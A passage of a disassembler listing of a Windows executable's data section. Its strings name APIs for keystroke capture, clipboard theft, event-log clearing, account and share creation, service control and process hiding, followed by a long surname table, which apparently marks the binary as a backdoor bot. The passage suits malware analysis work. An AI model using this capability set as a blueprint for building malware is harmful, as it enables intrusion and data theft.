aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D368 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4F8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D528 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D558 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D57C db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 8 aReal db 'real',0 align 10h dd 0 dword_42D5C4 dd 0 ; DATA XREF: sub_40B08D+7o off_42D5C8 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 8 dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D630 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D63C dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; 